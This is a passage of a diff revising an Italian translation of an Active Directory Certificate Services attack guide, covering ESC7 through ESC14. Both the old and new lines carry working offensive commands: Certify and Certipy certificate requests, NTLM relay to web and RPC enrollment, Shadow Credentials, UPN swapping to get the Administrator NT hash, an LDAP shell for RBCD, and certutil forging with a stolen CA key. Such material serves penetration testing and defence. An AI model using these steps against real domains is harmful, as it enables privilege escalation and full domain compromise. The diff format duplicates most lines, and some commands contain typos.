emessa. Il certificato risultante contiene quindi un’estensione scelta dall’attaccante che può: +Poiché il template mirato **non definisce un valore di default per quell'estensione**, la CA NON sovrascriverà il valore controllato dall'attaccante quando la richiesta verrà eventualmente emessa. Il certificato risultante conterrà quindi un'estensione scelta dall'attaccante che può: * Soddisfare requisiti di Application / Issuance Policy di altri template vulnerabili (portando a privilege escalation). -* Iniettare EKU o policy aggiuntive che concedono al certificato una fiducia inaspettata in sistemi di terze parti. +* Iniettare EKU o policy aggiuntive che conferiscono al certificato fiducia inaspettata in sistemi di terze parti. -In breve, *Manage Certificates* – precedentemente considerato la “metà meno potente” di ESC7 – può ora essere sfruttato per escalation di privilegi completa o persistenza a lungo termine, senza modificare la configurazione della CA o richiedere il più restrittivo diritto *Manage CA*. +In breve, *Manage Certificates* – precedentemente considerato la “metà meno potente” di ESC7 – può ora essere sfruttato per escalation di privilegi completa o persistenza a lungo termine, senza toccare la configurazione della CA o richiedere il diritto più restrittivo *Manage CA*. -#### Abusare della primitiva con Certify 2.0 +#### Abusare la primitive con Certify 2.0 -1. **Sottomettere una richiesta di certificato che rimarrà *in sospeso*.** Questo può essere forzato con un template che richiede l’approvazione del manager: +1. **Inviare una richiesta di certificato che rimarrà *in sospeso*.** Questo può essere forzato con un template che richiede approvazione del manager: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval # Take note of the returned Request ID ``` -2. **Aggiungere un’estensione personalizzata alla richiesta in sospeso** usando il nuovo comando `manage-ca`: +2. **Aggiungere un'estensione personalizzata alla richiesta in sospeso** usando il nuovo comando `manage-ca`: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ --set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*Se il template non definisce già l’estensione *Certificate Issuance Policies*, il valore sopra sarà preservato dopo l’emissione.* +*Se il template non definisce già l'estensione *Certificate Issuance Policies*, il valore sopra sarà preservato dopo l'emissione.* -3. **Emettere la richiesta** (se il tuo ruolo dispone anche dei diritti di approvazione *Manage Certificates*) oppure attendere che un operatore la approvi. Una volta emessa, scarica il certificato: +3. **Emettere la richiesta** (se il tuo ruolo ha anche i diritti di approvazione *Manage Certificates*) o aspettare che un operatore la approvi. Una volta emessa, scarica il certificato: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. Il certificato risultante contiene ora l’OID malicious di issuance-policy e può essere utilizzato in attacchi successivi (es. ESC13, escalation di dominio, ecc.). +4. Il certificato risultante ora contiene l'OID di issuance-policy malevolo e può essere usato in attacchi successivi (es. ESC13, escalation di dominio, ecc.). > NOTA: Lo stesso attacco può essere eseguito con Certipy ≥ 4.7 tramite il comando `ca` e il parametro `-set-extension`. @@ -380,23 +380,23 @@ Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ### Spiegazione > [!TIP] -> In ambienti in cui **AD CS è installato**, se esiste un **web enrollment endpoint vulnerabile** e almeno un **certificate template è pubblicato** che permette **domain computer enrollment e client authentication** (come il template di default **`Machine`**), diventa possibile che **qualsiasi computer con il spooler service attivo venga compromesso da un attacker**! +> In ambienti dove **AD CS è installato**, se esiste un **endpoint di enrollment web vulnerabile** e almeno un **certificate template è pubblicato** che permette **domain computer enrollment e client authentication** (come il template di default **`Machine`**), diventa possibile che **qualsiasi computer con il servizio spooler attivo venga compromesso da un attaccante**! -Diversi **metodi di enrollment basati su HTTP** sono supportati da AD CS, resi disponibili tramite ruoli server aggiuntivi che gli amministratori possono installare. Queste interfacce per l’enrollment basato su HTTP sono suscettibili a **NTLM relay attacks**. Un attacker, partendo da una macchina compromessa, può impersonare qualsiasi account AD che si autentica tramite NTLM in ingresso. Mentre impersona l’account vittima, queste interfacce web possono essere accessibili dall’attacker per **richiedere un certificato client per l’autenticazione usando i template `User` o `Machine`**. +Diversi **metodi di enrollment basati su HTTP** sono supportati da AD CS, resi disponibili tramite ruoli server aggiuntivi che gli amministratori possono installare. Queste interfacce per l'enrollment basato su HTTP sono suscettibili a **NTLM relay attacks**. Un attaccante, da una **macchina compromessa**, può impersonare qualsiasi account AD che si autentica tramite NTLM inbound. Indossando le credenziali della vittima, queste interfacce web possono essere usate dall'attaccante per **richiedere un certificato client authentication usando i template `User` o `Machine`**. -- L’**interfaccia di web enrollment** (una vecchia applicazione ASP disponibile su `http:///certsrv/`) è di default solo HTTP, il che non offre protezione contro NTLM relay attacks. Inoltre, essa esplicitamente permette solo NTLM tramite il suo Authorization HTTP header, rendendo inapplicabili metodi di autenticazione più sicuri come Kerberos. -- Il **Certificate Enrollment Service** (CES), il **Certificate Enrollment Policy** (CEP) Web Service, e il **Network Device Enrollment Service** (NDES) di default supportano l’autenticazione negotiate tramite il loro Authorization HTTP header. Negotiate authentication **supporta sia** Kerberos che **NTLM**, permettendo a un attacker di **degradare a NTLM** l’autenticazione durante attacchi di relay. Sebbene questi web service abilitino HTTPS per default, HTTPS da solo **non protegge contro NTLM relay attacks**. La protezione da NTLM relay per servizi HTTPS è possibile solo quando HTTPS è combinato con channel binding. Purtroppo, AD CS non attiva Extended Protection for Authentication su IIS, che è richiesta per il channel binding. +- L'**web enrollment interface** (una vecchia applicazione ASP disponibile su `http:///certsrv/`), di default usa solo HTTP, che non offre protezione contro NTLM relay attacks. Inoltre, permette esplicitamente solo l'autenticazione NTLM tramite l'header Authorization HTTP, rendendo inapplicabili metodi di autenticazione più sicuri come Kerberos. +- Il **Certificate Enrollment Service** (CES), il **Certificate Enrollment Policy** (CEP) Web Service e il **Network Device Enrollment Service** (NDES) di default supportano negotiate authentication tramite il loro header Authorization HTTP. Negotiate authentication **supporta sia** Kerberos che **NTLM**, permettendo a un attaccante di **degradare a NTLM** durante gli attacchi di relay. Sebbene questi web service abilitino HTTPS di default, HTTPS da solo **non protegge contro NTLM relay attacks**. La protezione da NTLM relay attacks per servizi HTTPS è possibile solo quando HTTPS è combinato con channel binding. Sfortunatamente, AD CS non attiva Extended Protection for Authentication su IIS, che è richiesta per il channel binding. -Un problema comune negli NTLM relay attacks è la **breve durata delle sessioni NTLM** e l’impossibilità per l’attacker di interagire con servizi che **richiedono NTLM signing**. +Un problema comune con gli NTLM relay attacks è la **breve durata delle sessioni NTLM** e l'incapacità dell'attaccante di interagire con servizi che **richiedono NTLM signing**. -Tuttavia, questa limitazione viene superata sfruttando un NTLM relay attack per ottenere un certificato per l’utente, poiché il periodo di validità del certificato determina la durata della sessione, e il certificato può essere impiegato con servizi che **esigono NTLM signing**. Per istruzioni sull’utilizzo di un certificato rubato, fare riferimento a: +Tuttavia, questo limite può essere superato sfruttando un NTLM relay attack per ottenere un certificato per l'utente, dato che il periodo di validità del certificato detta la durata della sessione, e il certificato può essere impiegato con servizi che **richiedono NTLM signing**. Per istruzioni sull'uso di un certificato rubato, fare riferimento a: {{#ref}} account-persistence.md {{#endref}} -Un’altra limitazione degli NTLM relay attacks è che **una macchina controllata dall’attaccante deve essere autenticata da un account vittima**. L’attaccante può scegliere di aspettare oppure tentare di **forzare** questa autenticazione: +Un altro limite degli NTLM relay attacks è che **una macchina controllata dall'attaccante deve essere autenticata da un account vittima**. L'attaccante potrebbe aspettare oppure tentare di **forzare** questa autenticazione: {{#ref}} @@ -405,13 +405,13 @@ Un’altra limitazione degli NTLM relay attacks è che **una macchina controllat ### **Abuso** -Il comando `cas` di [**Certify**](https://github.com/GhostPack/Certify) enumera gli **endpoint HTTP AD CS abilitati**: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` elenca gli **endpoint HTTP AD CS abilitati**: ``` Certify.exe cas ```
-La proprietà `msPKI-Enrollment-Servers` viene usata dalle Autorità di Certificazione aziendali (CA) per memorizzare gli endpoint del Certificate Enrollment Service (CES). Questi endpoint possono essere analizzati e elencati utilizzando lo strumento **Certutil.exe**: +La proprietà `msPKI-Enrollment-Servers` è utilizzata dalle autorità di certificazione aziendali (CA) per memorizzare gli endpoint del Certificate Enrollment Service (CES). Questi endpoint possono essere analizzati e elencati utilizzando lo strumento **Certutil.exe**: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -439,9 +439,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < ``` #### Abuso con [Certipy](https://github.com/ly4k/Certipy) -La richiesta di un certificato viene effettuata da Certipy per impostazione predefinita basandosi sul template `Machine` o `User`, determinato dal fatto che il nome dell'account soggetto a relay termini con `$`. La specifica di un template alternativo può essere ottenuta tramite l'uso del parametro `-template`. +La richiesta di un certificato viene effettuata da Certipy di default basandosi sul template `Machine` o `User`, determinato dal fatto che il nome dell'account inoltrato finisca con `$`. La specifica di un template alternativo può essere ottenuta mediante il parametro `-template`. -Una tecnica come [PetitPotam](https://github.com/ly4k/PetitPotam) può quindi essere impiegata per forzare l'autenticazione. Quando si lavora con i controller di dominio, è necessario specificare `-template DomainController`. +Si può quindi impiegare una tecnica come [PetitPotam](https://github.com/ly4k/PetitPotam) per forzare l'autenticazione. Quando si tratta di domain controller, è necessario specificare `-template DomainController`. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -454,44 +454,44 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## No Security Extension - ESC9 +## Nessuna estensione di sicurezza - ESC9 -### Explanation +### Spiegazione -Il nuovo valore **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) per **`msPKI-Enrollment-Flag`**, denominato ESC9, impedisce l'incorporamento della **nuova estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`** in un certificato. Questa flag diventa rilevante quando `StrongCertificateBindingEnforcement` è impostato su `1` (impostazione predefinita), in contrasto con un'impostazione di `2`. La sua importanza aumenta in scenari dove una mappatura del certificato più debole per Kerberos o Schannel potrebbe essere sfruttata (come in ESC10), dato che l'assenza di ESC9 non altererebbe i requisiti. +Il nuovo valore **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) per **`msPKI-Enrollment-Flag`**, indicato come ESC9, impedisce l'inclusione della **nuova estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`** in un certificato. Questo flag diventa rilevante quando `StrongCertificateBindingEnforcement` è impostato su `1` (impostazione predefinita), in contrasto con l'impostazione `2`. La sua rilevanza aumenta in scenari in cui potrebbe essere sfruttata una mappatura dei certificati più debole per Kerberos o Schannel (come in ESC10), dato che l'assenza di ESC9 non modificherebbe i requisiti. -Le condizioni in cui l'impostazione di questa flag diventa significativa includono: +Le condizioni in cui l'impostazione di questo flag diventa significativa includono: -- `StrongCertificateBindingEnforcement` non è impostato su `2` (il valore predefinito è `1`), oppure `CertificateMappingMethods` include la flag `UPN`. -- Il certificato è contrassegnato con la flag `CT_FLAG_NO_SECURITY_EXTENSION` nella impostazione `msPKI-Enrollment-Flag`. -- Il certificato specifica qualsiasi client authentication EKU. +- `StrongCertificateBindingEnforcement` non è impostato su `2` (il valore predefinito è `1`), oppure `CertificateMappingMethods` include il flag `UPN`. +- Il certificato è contrassegnato con il flag `CT_FLAG_NO_SECURITY_EXTENSION` all'interno dell'impostazione `msPKI-Enrollment-Flag`. +- Qualsiasi EKU di autenticazione client è specificato dal certificato. - Sono disponibili permessi `GenericWrite` su un account per compromettere un altro. -### Abuse Scenario +### Scenario di abuso -Supponiamo che `John@corp.local` possieda permessi `GenericWrite` su `Jane@corp.local`, con l'obiettivo di compromettere `Administrator@corp.local`. Il template di certificato `ESC9`, al quale `Jane@corp.local` è autorizzata a enrollare, è configurato con la flag `CT_FLAG_NO_SECURITY_EXTENSION` nella impostazione `msPKI-Enrollment-Flag`. +Supponiamo che `John@corp.local` disponga di permessi `GenericWrite` su `Jane@corp.local`, con l'obiettivo di compromettere `Administrator@corp.local`. Il template di certificato `ESC9`, al quale `Jane@corp.local` è autorizzata a registrarsi, è configurato con il flag `CT_FLAG_NO_SECURITY_EXTENSION` nella sua impostazione `msPKI-Enrollment-Flag`. -Inizialmente l'hash di Jane viene acquisito usando Shadow Credentials, grazie ai permessi `GenericWrite` di John: +Inizialmente, l'hash di `Jane` viene acquisito usando Shadow Credentials, grazie al `GenericWrite` di `John`: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo volutamente la parte di dominio `@corp.local`: +Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo intenzionalmente la parte di dominio `@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Questa modifica non viola i vincoli, dato che `Administrator@corp.local` rimane distinto come `userPrincipalName` di `Administrator`. +Questa modifica non viola i vincoli, poiché `Administrator@corp.local` rimane distinto come userPrincipalName di `Administrator`. -Successivamente, il template di certificato `ESC9`, contrassegnato come vulnerabile, viene richiesto da `Jane`: +Successivamente, il template di certificato `ESC9`, contrassegnato come vulnerabile, viene richiesto come `Jane`: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` Si nota che il `userPrincipalName` del certificato riflette `Administrator`, privo di qualsiasi “object SID”. -Il `userPrincipalName` di `Jane` viene quindi ripristinato al suo originale, `Jane@corp.local`: +Il `userPrincipalName` di `Jane` viene quindi ripristinato al suo valore originale, `Jane@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Il tentativo di autenticazione con il certificato emesso ora restituisce l'NT hash di `Administrator@corp.local`. Il comando deve includere `-domain ` a causa della mancanza di specificazione del dominio nel certificato: +Tentare l'autenticazione con il certificato emesso ora restituisce l'NT hash di `Administrator@corp.local`. Il comando deve includere `-domain ` a causa dell'assenza della specifica del dominio nel certificato: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` @@ -499,10 +499,10 @@ certipy auth -pfx adminitrator.pfx -domain corp.local ### Spiegazione -ESC10 fa riferimento a due valori del registro sul domain controller: +Due valori di chiavi del registro sul controller di dominio sono indicati da ESC10: -- Il valore predefinito per `CertificateMappingMethods` sotto `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` è `0x18` (`0x8 | 0x10`), precedentemente impostato a `0x1F`. -- L'impostazione predefinita per `StrongCertificateBindingEnforcement` sotto `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` è `1`, precedentemente `0`. +- Il valore predefinito per `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` è `0x18` (`0x8 | 0x10`), precedentemente impostato su `0x1F`. +- L'impostazione predefinita per `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` è `1`, precedentemente `0`. **Caso 1** @@ -516,31 +516,31 @@ Se `CertificateMappingMethods` include il bit `UPN` (`0x4`). Con `StrongCertificateBindingEnforcement` configurato come `0`, un account A con permessi `GenericWrite` può essere sfruttato per compromettere qualsiasi account B. -Ad esempio, avendo permessi `GenericWrite` su `Jane@corp.local`, un attaccante mira a compromettere `Administrator@corp.local`. La procedura è analoga a ESC9, permettendo l'uso di qualsiasi template di certificato. +Per esempio, avendo permessi `GenericWrite` su `Jane@corp.local`, un attaccante mira a compromettere `Administrator@corp.local`. La procedura rispecchia ESC9, permettendo di utilizzare qualsiasi modello di certificato. Inizialmente, l'hash di `Jane` viene recuperato usando Shadow Credentials, sfruttando il `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo deliberatamente la parte `@corp.local` per evitare una violazione di un vincolo. +Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo deliberatamente la parte `@corp.local` per evitare una violazione di vincolo. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Successivamente, per `Jane` viene richiesto un certificato che abilita l'autenticazione client, utilizzando il template predefinito `User`. +A seguito di ciò, viene richiesto un certificato che abilita l'autenticazione del client come `Jane`, usando il modello predefinito `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -Il `userPrincipalName` di `Jane` viene poi ripristinato al suo valore originale, `Jane@corp.local`. +Il `userPrincipalName` di `Jane` viene quindi ripristinato al suo valore originale, `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -L'autenticazione con il certificato ottenuto restituirà l'NT hash di `Administrator@corp.local`, pertanto è necessario specificare il dominio nel comando a causa dell'assenza dei dettagli del dominio nel certificato. +L'autenticazione con il certificato ottenuto restituirà l'NT hash di `Administrator@corp.local`, richiedendo la specifica del dominio nel comando poiché nel certificato mancano i dettagli del dominio. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` -### Caso di abuso 2 +### Caso d'abuso 2 -Con i `CertificateMappingMethods` che contengono il bit flag `UPN` (`0x4`), un account A con permessi `GenericWrite` può compromettere qualsiasi account B privo della proprietà `userPrincipalName`, inclusi gli account macchina e l'amministratore di dominio integrato `Administrator`. +Con i `CertificateMappingMethods` che contengono il flag bit `UPN` (`0x4`), un account A con permessi `GenericWrite` può compromettere qualsiasi account B privo della proprietà `userPrincipalName`, inclusi gli account macchina e l'amministratore di dominio integrato `Administrator`. Qui, l'obiettivo è compromettere `DC$@corp.local`, iniziando dall'ottenere l'hash di `Jane` tramite Shadow Credentials, sfruttando il `GenericWrite`. ```bash @@ -550,7 +550,7 @@ Il `userPrincipalName` di `Jane` viene quindi impostato su `DC$@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -Viene richiesto un certificato per l'autenticazione del client come `Jane` usando il template predefinito `User`. +Viene richiesto un certificato per l'autenticazione del client come `Jane` utilizzando il template predefinito `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` @@ -558,23 +558,23 @@ Il `userPrincipalName` di `Jane` viene ripristinato al suo valore originale dopo ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Per autenticarsi via Schannel, si utilizza l'opzione `-ldap-shell` di Certipy, che indica il successo dell'autenticazione come `u:CORP\DC$`. +Per autenticarsi tramite Schannel, viene utilizzata l'opzione `-ldap-shell` di Certipy, che indica il successo dell'autenticazione come `u:CORP\DC$`. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Attraverso la shell LDAP, comandi come `set_rbcd` abilitano attacchi Resource-Based Constrained Delegation (RBCD), compromettendo potenzialmente il domain controller. +Attraverso la LDAP shell, comandi come `set_rbcd` consentono attacchi Resource-Based Constrained Delegation (RBCD), compromettendo potenzialmente il domain controller. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Questa vulnerabilità si estende anche a qualsiasi account utente privo di `userPrincipalName` o in cui questo non corrisponda a `sAMAccountName`, con il predefinito `Administrator@corp.local` che rappresenta un obiettivo primario a causa dei suoi privilegi LDAP elevati e dell'assenza, per impostazione predefinita, di un `userPrincipalName`. +Questa vulnerabilità si estende anche a qualsiasi account utente privo di un `userPrincipalName` o in cui esso non corrisponde al `sAMAccountName`; l'account predefinito `Administrator@corp.local` è un obiettivo privilegiato a causa dei suoi elevati privilegi LDAP e dell'assenza di un `userPrincipalName` di default. ## Relaying NTLM to ICPR - ESC11 ### Spiegazione -Se il CA Server non è configurato con `IF_ENFORCEENCRYPTICERTREQUEST`, ciò può permettere NTLM relay attacks senza firma tramite il servizio RPC. [Riferimento](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +Se il CA Server non è configurato con `IF_ENFORCEENCRYPTICERTREQUEST`, è possibile eseguire attacchi di relay NTLM senza signing tramite il servizio RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -Puoi usare `certipy` per enumerare se `Enforce Encryption for Requests` è Disabled e certipy mostrerà le Vulnerabilità `ESC11`. +Puoi usare `certipy` per verificare se `Enforce Encryption for Requests` è Disabled e certipy mostrerà le vulnerabilità `ESC11`. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -593,7 +593,7 @@ ESC11 : Encryption is not enforced for ICPR requests ``` ### Scenario di abuso -È necessario configurare un relay server: +È necessario impostare un relay server: ```bash $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100 Certipy v4.7.0 - by Oliver Lyak (ly4k) @@ -620,21 +620,21 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s ``` ## Shell access to ADCS CA with YubiHSM - ESC12 -### Spiegazione +### Explanation -Gli amministratori possono configurare la Certificate Authority per memorizzarla su un dispositivo esterno come lo Yubico YubiHSM2. +Gli amministratori possono configurare la Certificate Authority in modo da memorizzarla su un dispositivo esterno come lo Yubico YubiHSM2. -Se il dispositivo USB è collegato al server CA tramite una porta USB, o a un USB device server nel caso in cui il server CA sia una macchina virtuale, è richiesta una chiave di autenticazione (talvolta chiamata "password") per permettere al Key Storage Provider di generare e utilizzare le chiavi nel YubiHSM. +Se un dispositivo USB è collegato al server CA tramite una porta USB, o tramite un USB device server nel caso in cui il server CA sia una macchina virtuale, per il Key Storage Provider è richiesta una chiave di autenticazione (a volte indicata come "password") per generare e utilizzare le chiavi nell'YubiHSM. Questa chiave/password è memorizzata nel registro sotto `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in chiaro. Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). -### Scenario di abuso +### Abuse Scenario -Se la chiave privata della CA è memorizzata su un dispositivo USB fisico e si ottiene shell access, è possibile recuperare la chiave. +Se la chiave privata della CA è memorizzata su un dispositivo USB fisico, quando si ottiene accesso shell è possibile recuperarla. -Per prima cosa, è necessario ottenere il certificato della CA (è pubblico) e poi: +Per prima cosa, è necessario ottenere il certificato della CA (questo è pubblico) e poi: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -648,7 +648,7 @@ Infine, usa il comando certutil `-sign` per forgiare un nuovo certificato arbitr ### Spiegazione -L'attributo `msPKI-Certificate-Policy` permette di aggiungere la issuance policy al template del certificato. Gli oggetti `msPKI-Enterprise-Oid` responsabili dell'emissione delle policy possono essere scoperti nel Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) del PKI OID container. Una policy può essere collegata a un gruppo AD usando l'attributo `msDS-OIDToGroupLink` di questo oggetto, permettendo a un sistema di autorizzare un utente che presenta il certificato come se fosse membro del gruppo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +L'attributo `msPKI-Certificate-Policy` permette di aggiungere la policy di emissione al modello del certificato. Gli oggetti `msPKI-Enterprise-Oid` responsabili delle policy di emissione possono essere scoperti nel Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) del contenitore PKI OID. Una policy può essere collegata a un gruppo AD usando l'attributo `msDS-OIDToGroupLink` di questo oggetto, consentendo a un sistema di autorizzare un utente che presenta il certificato come se fosse membro del gruppo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). In altre parole, quando un utente ha il permesso di richiedere un certificato e il certificato è collegato a un gruppo OID, l'utente può ereditare i privilegi di quel gruppo. @@ -676,46 +676,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ``` ### Scenario di abuso -Trova un permesso utente che può essere usato con `certipy find` o `Certify.exe find /showAllPermissions`. +Trova un permesso utente che può usare con `certipy find` o `Certify.exe find /showAllPermissions`. -Se `John` ha il permesso di eseguire l'enrollment per `VulnerableTemplate`, l'utente può ereditare i privilegi del gruppo `VulnerableGroup`. +Se `John` ha il permesso di effettuare l'enrollment su `VulnerableTemplate`, l'utente può ereditare i privilegi del gruppo `VulnerableGroup`. -Tutto quello che deve fare è specificare il template: otterrà un certificato con i diritti OIDToGroupLink. +Tutto ciò che deve fare è specificare il template; otterrà un certificato con i diritti OIDToGroupLink. ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## Configurazione vulnerabile del rinnovo dei certificati - ESC14 +## Configurazione di rinnovo certificati vulnerabile - ESC14 ### Spiegazione -La descrizione su https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping è notevolmente completa. Di seguito una citazione del testo originale. +La descrizione su https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping è straordinariamente dettagliata. Di seguito è riportata una citazione del testo originale. -ESC14 affronta le vulnerabilità derivanti da una "weak explicit certificate mapping", principalmente attraverso l'uso improprio o una configurazione insicura dell'attributo `altSecurityIdentities` sugli account utente o computer di Active Directory. Questo attributo multivalore permette agli amministratori di associare manualmente certificati X.509 a un account AD per scopi di autenticazione. Quando popolato, questo mapping esplicito può sovrascrivere la logica di mapping dei certificati predefinita, che tipicamente si basa su UPNs o nomi DNS nel SAN del certificato, o sul SID incorporato nell'estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`. +ESC14 affronta le vulnerabilità derivanti da "weak explicit certificate mapping", principalmente attraverso l'uso improprio o la configurazione insicura dell'attributo `altSecurityIdentities` sugli account utente o computer di Active Directory. Questo attributo multivalore permette agli amministratori di associare manualmente certificati X.509 a un account AD per scopi di autenticazione. Quando è popolato, questo mapping esplicito può sovrascrivere la logica di mapping predefinita dei certificati, che tipicamente si basa su UPNs o nomi DNS nel SAN del certificato, o sul SID incorporato nell'estensione di sicurezza `szOID_NTDS_CA_SECURITY_EXT`. -Una mappatura "debole" si verifica quando il valore stringa usato all'interno dell'attributo `altSecurityIdentities` per identificare un certificato è troppo ampio, facilmente indovinabile, si basa su campi del certificato non unici o utilizza componenti del certificato facilmente contraffabili. Se un attaccante può ottenere o creare un certificato i cui attributi corrispondono a una tale mappatura esplicita definita debolmente per un account privilegiato, può usare quel certificato per autenticarsi e impersonare quell'account. +Un mapping "debole" si verifica quando il valore stringa usato all'interno dell'attributo `altSecurityIdentities` per identificare un certificato è troppo generico, facilmente indovinabile, si basa su campi non univoci del certificato, o usa componenti del certificato facilmente spoofabili. Se un attaccante può ottenere o creare un certificato i cui attributi corrispondono a un mapping esplicito debolmente definito per un account privilegiato, può usare quel certificato per autenticarsi e impersonare quell'account. -Esempi di possibili stringhe di mapping deboli in `altSecurityIdentities` includono: +Esempi di stringhe di mapping `altSecurityIdentities` potenzialmente deboli includono: -- Mappatura basata esclusivamente su un Common Name (CN) del Subject comune: p.es., `X509:CN=SomeUser`. Un attaccante potrebbe riuscire a ottenere un certificato con quel CN da una fonte meno sicura. -- Uso di Issuer Distinguished Names (DN) o Subject DNs eccessivamente generici senza ulteriore qualificazione come un numero di seriale specifico o subject key identifier: p.es., `X509:CN=SomeInternalCACN=GenericUser`. -- Impiego di altri pattern prevedibili o identificatori non crittografici che un attaccante potrebbe soddisfare in un certificato che può legittimamente ottenere o forgiare (se ha compromesso una CA o trovato un template vulnerabile come in ESC1). +- Mapping unicamente tramite un comune Subject Common Name (CN): ad es., `X509:CN=SomeUser`. Un attaccante potrebbe riuscire a ottenere un certificato con questo CN da una fonte meno sicura. +- Uso di Issuer Distinguished Names (DN) o Subject DNs eccessivamente generici senza ulteriori qualifiche come un numero di serie specifico o subject key identifier: ad es., `X509:CN=SomeInternalCACN=GenericUser`. +- Impiego di altri pattern prevedibili o identificatori non crittografici che un attaccante potrebbe riuscire a soddisfare in un certificato che può legittimamente ottenere o forgiare (se ha compromesso una CA o trovato un template vulnerabile come in ESC1). -L'attributo `altSecurityIdentities` supporta vari formati per il mapping, come ad esempio: +L'attributo `altSecurityIdentities` supporta vari formati per il mapping, come: - `X509:IssuerDNSubjectDN` (mappa per Issuer e Subject DN completi) - `X509:SubjectKeyIdentifier` (mappa per il valore dell'estensione Subject Key Identifier del certificato) -- `X509:SerialNumberBackedByIssuerDN` (mappa per numero di seriale, implicitamente qualificato dall'Issuer DN) - questo non è un formato standard, solitamente è `IssuerDNSerialNumber`. +- `X509:SerialNumberBackedByIssuerDN` (mappa per numero di serie, implicitamente qualificato dall'Issuer DN) - questo non è un formato standard, di solito è `IssuerDNSerialNumber`. - `X509:EmailAddress` (mappa per un nome RFC822, tipicamente un indirizzo email, dal SAN) - `X509:Thumbprint-of-Raw-PublicKey` (mappa per un hash SHA1 della raw public key del certificato - generalmente forte) -La sicurezza di questi mapping dipende fortemente dalla specificità, dall'unicità e dalla robustezza crittografica degli identificatori di certificato scelti nella stringa di mapping. Anche con modalità di certificate binding forti abilitate sui Domain Controller (che influenzano principalmente i mapping impliciti basati su SAN UPNs/DNS e l'estensione SID), una voce `altSecurityIdentities` configurata male può comunque rappresentare una via diretta per l'impersonificazione se la logica di mapping stessa è difettosa o troppo permissiva. +La sicurezza di questi mapping dipende fortemente dalla specificità, univocità e forza crittografica degli identificatori di certificato scelti nella stringa di mapping. Anche con modalità di binding dei certificati forti abilitate sui Domain Controllers (che influenzano principalmente i mapping impliciti basati su SAN UPNs/DNS e l'estensione SID), una voce `altSecurityIdentities` mal configurata può comunque rappresentare un percorso diretto per l'impersonazione se la logica di mapping stessa è difettosa o troppo permissiva. + ### Scenario di abuso -ESC14 prende di mira le **explicit certificate mappings** in Active Directory (AD), specificamente l'attributo 